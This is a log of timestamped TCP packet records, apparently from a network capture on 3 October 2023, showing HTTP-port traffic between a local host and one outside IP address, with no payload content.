Oct 3, 2023 09:55:09.737389088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737420082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737495899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737539053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737571955 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737644911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737685919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737709999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737777948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737817049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737847090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737907887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.737946033 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.737972975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738020897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738058090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738089085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738136053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738178015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738198042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738270044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738310099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738336086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738406897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738451004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738455057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738521099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738560915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738583088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738689899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738729954 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738761902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738833904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738877058 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.738884926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738950014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.738987923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739001989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739053011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739092112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739099979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739151001 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739192963 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739202023 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739267111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739305973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739316940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739357948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739413977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739439011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739470005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739525080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739532948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739578962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739619017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739639044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739667892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739712000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739739895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739804983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739818096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739845991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739871979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.739912987 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.739979982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740024090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740065098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.740108013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740233898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740276098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.740319014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740391016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740430117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.740515947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740577936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740622044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.740664005 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740756989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740797997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.740839958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740951061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.740993977 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741003036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741106033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741157055 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741190910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741250038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741292000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741324902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741437912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741480112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741506100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741565943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741606951 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741631985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741698027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741739035 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741740942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741835117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741878986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.741910934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.741982937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742039919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742059946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742109060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742147923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742168903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742211103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742250919 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742259979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742330074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742369890 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742444038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742621899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742661953 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742705107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742786884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742830038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.742860079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.742964983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743026018 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743042946 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743112087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743153095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743170977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743237019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743277073 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743304968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743346930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743386984 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743418932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743493080 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743534088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743577003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743681908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743721962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743742943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743804932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743844986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.743864059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743935108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.743974924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744005919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744064093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744122028 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744146109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744215012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744259119 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744291067 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744355917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744395971 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744477987 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744515896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744555950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744576931 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744637012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744677067 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744702101 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744793892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744834900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.744879961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744944096 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.744982958 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745054960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745145082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745187998 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745218992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745270967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745311022 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745333910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745374918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745414972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745434046 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745513916 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745554924 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745580912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745636940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745676994 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745697021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745748043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745760918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745788097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745831013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.745876074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.745908022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746025085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746066093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746097088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746161938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746201992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746201992 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746273994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746339083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746351957 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746412992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746459007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746478081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746534109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746573925 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746617079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746701002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746741056 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746783018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746906996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.746948957 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.746998072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747080088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747121096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.747181892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747256994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747339010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.747359991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747477055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747515917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.747591019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747683048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747723103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.747783899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747876883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.747915983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.747967958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748064041 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748104095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748136044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748235941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748302937 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748316050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748397112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748437881 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748464108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748534918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748574972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748600006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748644114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748683929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748717070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748826981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748867035 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.748902082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.748967886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749007940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749008894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749068975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749109983 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749139071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749209881 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749249935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749325037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749416113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749464035 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749495029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749604940 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749643087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749661922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749754906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749794006 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.749814034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749828100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.749872923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750041962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750138998 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750179052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750212908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750268936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750309944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750324965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750381947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750428915 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750441074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750503063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750544071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750571012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750624895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750667095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750698090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750710011 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750751972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750793934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750838995 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750879049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.750890017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750946999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.750987053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751008034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751022100 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751066923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751091957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751147032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751199961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751209974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751277924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751318932 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751353025 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751461983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751502991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751513004 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751588106 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751627922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751671076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751763105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751802921 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751813889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751888037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751926899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751926899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.751960993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.751997948 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752021074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752055883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752094030 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752095938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752259970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752316952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752346992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752408981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752450943 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752504110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752613068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752650976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752681971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752752066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752789974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.752861977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752940893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.752979040 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.753011942 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753086090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753124952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.753201962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753264904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753303051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.753369093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.753437042 CEST	80	49816	91.227.16.22	192.168.2.3
